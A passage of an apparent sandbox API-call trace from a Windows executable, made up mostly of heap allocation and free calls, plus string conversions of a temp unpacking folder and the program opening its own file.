hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe58 | out: hHeap=0x2ad0000) returned 1 [0071.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f880 | out: hHeap=0x2ad0000) returned 1 [0071.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6418 | out: hHeap=0x2ad0000) returned 1 [0071.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6518 [0071.981] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad63f8, Size=0x14) returned 0x2a202d8 [0071.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6428 | out: hHeap=0x2ad0000) returned 1 [0071.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdb0 | out: hHeap=0x2ad0000) returned 1 [0071.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6518 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a202d8 | out: hHeap=0x2ad0000) returned 1 [0071.982] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6568, Size=0x14) returned 0x2a1fc50 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6558 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe58 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbc8 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6538 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.982] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6538, Size=0x14) returned 0x2a1fc50 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6438 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd08 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f948 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6418 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.982] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6518, Size=0x14) returned 0x2a1fc50 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6508 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe58 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa60 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.982] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6478, Size=0x14) returned 0x2a1fc50 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6548 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fcf0 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbf0 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6458 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.982] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6498, Size=0x14) returned 0x2a1fc50 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe58 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9c0 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6518 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.982] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fca8, Size=0x20) returned 0x2a1fad8 [0071.982] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64e8, Size=0x14) returned 0x2a1fc50 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64a8 | out: hHeap=0x2ad0000) returned 1 [0071.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fcd8 | out: hHeap=0x2ad0000) returned 1 [0071.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa88 | out: hHeap=0x2ad0000) returned 1 [0071.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0071.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.983] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6488, Size=0x14) returned 0x2a1fc50 [0071.983] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6448, Size=0x14) returned 0x2a1fc50 [0071.983] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6518, Size=0x14) returned 0x2a1fc50 [0071.983] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fad8, Size=0x40) returned 0x2a202d8 [0071.983] GetCurrentThreadId () returned 0x9b0 [0071.983] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1c8 [0071.983] GetCurrentThreadId () returned 0x9b0 [0071.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a20320 [0071.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20320 | out: hHeap=0x2ad0000) returned 1 [0071.984] GetCurrentThreadId () returned 0x9b0 [0071.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a12010 [0071.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64e8 [0071.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fcd8 [0071.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fe58 [0071.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64f8 [0071.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6448 [0071.984] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64f8, Size=0x14) returned 0x2a1fc50 [0071.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6448 | out: hHeap=0x2ad0000) returned 1 [0071.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe58 | out: hHeap=0x2ad0000) returned 1 [0071.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fcd8 | out: hHeap=0x2ad0000) returned 1 [0071.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64e8 | out: hHeap=0x2ad0000) returned 1 [0071.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.987] GetCurrentThreadId () returned 0x9b0 [0071.987] GetCurrentThreadId () returned 0x9b0 [0071.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a20320 [0071.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20320 | out: hHeap=0x2ad0000) returned 1 [0071.987] GetCurrentThreadId () returned 0x9b0 [0071.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a124a8 [0071.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a13018 [0071.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a124a8 | out: hHeap=0x2ad0000) returned 1 [0071.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a21560 [0071.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2a28328 [0071.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64a8 [0071.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0071.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fca8 [0071.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6418 [0071.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0071.989] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6418, Size=0x14) returned 0x2a1fc50 [0071.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0071.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fca8 | out: hHeap=0x2ad0000) returned 1 [0071.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0071.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64a8 | out: hHeap=0x2ad0000) returned 1 [0071.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.989] GetCurrentThreadId () returned 0x9b0 [0071.989] GetCurrentThreadId () returned 0x9b0 [0071.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a29b30 [0071.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a29b30 | out: hHeap=0x2ad0000) returned 1 [0071.989] GetCurrentThreadId () returned 0x9b0 [0071.989] GetCurrentThreadId () returned 0x9b0 [0071.989] GetCurrentThreadId () returned 0x9b0 [0071.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a29b30 [0071.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a29c40 [0071.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a29d50 [0071.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a29d50 | out: hHeap=0x2ad0000) returned 1 [0071.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a124a8 [0071.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64d8 [0071.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0071.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0071.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad63f8 [0071.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64a8 [0071.991] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad63f8, Size=0x14) returned 0x2a1fc50 [0071.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64a8 | out: hHeap=0x2ad0000) returned 1 [0071.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd50 | out: hHeap=0x2ad0000) returned 1 [0071.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0071.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64d8 | out: hHeap=0x2ad0000) returned 1 [0071.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x264) returned 0x2a29d50 [0071.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6558 [0071.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f8d0 [0071.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fe58 [0071.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6408 [0071.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6478 [0071.991] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6408, Size=0x14) returned 0x2a29fc0 [0071.991] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a29fc0, Size=0x24) returned 0x2a1fc50 [0071.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0071.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe58 | out: hHeap=0x2ad0000) returned 1 [0071.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8d0 | out: hHeap=0x2ad0000) returned 1 [0071.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6558 | out: hHeap=0x2ad0000) returned 1 [0071.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fde0 [0071.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2a918 [0071.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2a2bfc8 [0071.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a29c40 | out: hHeap=0x2ad0000) returned 1 [0071.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a29b30 | out: hHeap=0x2ad0000) returned 1 [0071.992] GetCurrentThreadId () returned 0x9b0 [0071.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fcf0 [0071.992] GetCurrentThreadId () returned 0x9b0 [0071.992] GetCurrentProcessId () returned 0xdbc [0071.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a29fe8 [0071.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5ca) returned 0x2a2c090 [0071.992] SetConsoleCtrlHandler (HandlerRoutine=0x744dd135, Add=1) returned 1 [0071.993] GetLastError () returned 0x0 [0071.993] SetLastError (dwErrCode=0x0) [0071.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x78) returned 0x2a29b30 [0071.993] GetLastError () returned 0x0 [0071.993] SetLastError (dwErrCode=0x0) [0071.993] GetLastError () returned 0x0 [0071.993] SetLastError (dwErrCode=0x0) [0071.993] GetLastError () returned 0x0 [0071.993] SetLastError (dwErrCode=0x0) [0071.993] GetLastError () returned 0x0 [0071.994] SetLastError (dwErrCode=0x0) [0071.994] GetLastError () returned 0x0 [0071.994] SetLastError (dwErrCode=0x0) [0071.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x2a2c668 [0071.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2a170 [0071.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd08 [0071.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2b558 [0071.996] GetCurrentThreadId () returned 0x9b0 [0071.996] GetCurrentThreadId () returned 0x9b0 [0071.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a29bb0 [0071.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a29bb0 | out: hHeap=0x2ad0000) returned 1 [0071.996] GetCurrentThreadId () returned 0x9b0 [0071.996] GetCurrentThreadId () returned 0x9b0 [0071.996] GetCurrentThreadId () returned 0x9b0 [0071.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a29bb0 [0071.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a29bb0 | out: hHeap=0x2ad0000) returned 1 [0071.996] GetCurrentThreadId () returned 0x9b0 [0071.996] GetConsoleCP () returned 0x0 [0071.996] GetLastError () returned 0x6 [0071.996] SetLastError (dwErrCode=0x6) [0071.996] GetConsoleOutputCP () returned 0x0 [0071.996] GetLastError () returned 0x6 [0071.996] SetLastError (dwErrCode=0x6) [0071.997] GetLastError () returned 0x6 [0071.997] SetLastError (dwErrCode=0x6) [0071.997] GetLastError () returned 0x6 [0071.997] SetLastError (dwErrCode=0x6) [0071.997] GetLastError () returned 0x6 [0071.997] SetLastError (dwErrCode=0x6) [0071.997] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd7ca10, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0071.997] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x5c) returned 0x103f060 [0071.997] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd7ca10, cbMultiByte=-1, lpWideCharStr=0x103f060, cchWideChar=45 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842") returned 45 [0071.997] GetShortPathNameW (in: lpszLongPath="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842", lpszShortPath=0x0, cchBuffer=0x0 | out: lpszShortPath=0x0) returned 0x2c [0071.997] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x5a) returned 0x1052470 [0071.997] GetShortPathNameW (in: lpszLongPath="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842", lpszShortPath=0x1052470, cchBuffer=0x2c | out: lpszShortPath="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1") returned 0x2b [0071.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0071.998] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x2d) returned 0x1051ec8 [0071.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", cchWideChar=-1, lpMultiByteStr=0x1051ec8, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", lpUsedDefaultChar=0x0) returned 44 [0071.998] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1052470 | out: hHeap=0x1030000) returned 1 [0071.998] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x103f060 | out: hHeap=0x1030000) returned 1 [0071.998] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1051ec8 | out: hHeap=0x1030000) returned 1 [0071.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6548 [0071.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.998] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x8) returned 0x103c090 [0071.998] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x103fd00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0071.998] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x84) returned 0x103f060 [0071.998] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x103fd00, cbMultiByte=-1, lpWideCharStr=0x103f060, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0071.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0071.998] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x42) returned 0x10530b0 [0071.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", cchWideChar=-1, lpMultiByteStr=0x10530b0, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", lpUsedDefaultChar=0x0) returned 65 [0071.998] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x103f060 | out: hHeap=0x1030000) returned 1 [0071.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6418 [0071.998] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x103c090 | out: hHeap=0x1030000) returned 1 [0071.998] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1042db8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0071.998] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x5c) returned 0x103f060 [0071.998] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1042db8, cbMultiByte=-1, lpWideCharStr=0x103f060, cchWideChar=45 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842") returned 45 [0071.999] GetShortPathNameW (in: lpszLongPath="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842", lpszShortPath=0x0, cchBuffer=0x0 | out: lpszShortPath=0x0) returned 0x2c [0071.999] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x5a) returned 0x1052470 [0071.999] GetShortPathNameW (in: lpszLongPath="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842", lpszShortPath=0x1052470, cchBuffer=0x2c | out: lpszShortPath="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1") returned 0x2b [0071.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0071.999] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x2d) returned 0x1051d08 [0071.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", cchWideChar=-1, lpMultiByteStr=0x1051d08, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", lpUsedDefaultChar=0x0) returned 44 [0071.999] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1052470 | out: hHeap=0x1030000) returned 1 [0071.999] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x103f060 | out: hHeap=0x1030000) returned 1 [0071.999] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1051d08 | out: hHeap=0x1030000) returned 1 [0071.999] GetCurrentThreadId () returned 0x9b0 [0071.999] GetCurrentThreadId () returned 0x9b0 [0071.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a29bb0 [0071.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a29bb0 | out: hHeap=0x2ad0000) returned 1 [0071.999] GetCurrentThreadId () returned 0x9b0 [0071.999] GetCurrentThreadId () returned 0x9b0 [0071.999] GetCurrentThreadId () returned 0x9b0 [0071.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a29bb0 [0071.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a2c970 [0071.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a2ca80 [0072.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2ca80 | out: hHeap=0x2ad0000) returned 1 [0072.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2b248 [0072.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4b5) returned 0x2a2ca80 [0072.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2bb78 [0072.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2b9f0 [0072.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2c970 | out: hHeap=0x2ad0000) returned 1 [0072.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a29bb0 | out: hHeap=0x2ad0000) returned 1 [0072.000] GetCurrentThreadId () returned 0x9b0 [0072.000] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x103fdb8, cbMultiByte=-1, lpWideCharStr=0x9bc678, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0072.000] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x9bc664, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0072.000] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, 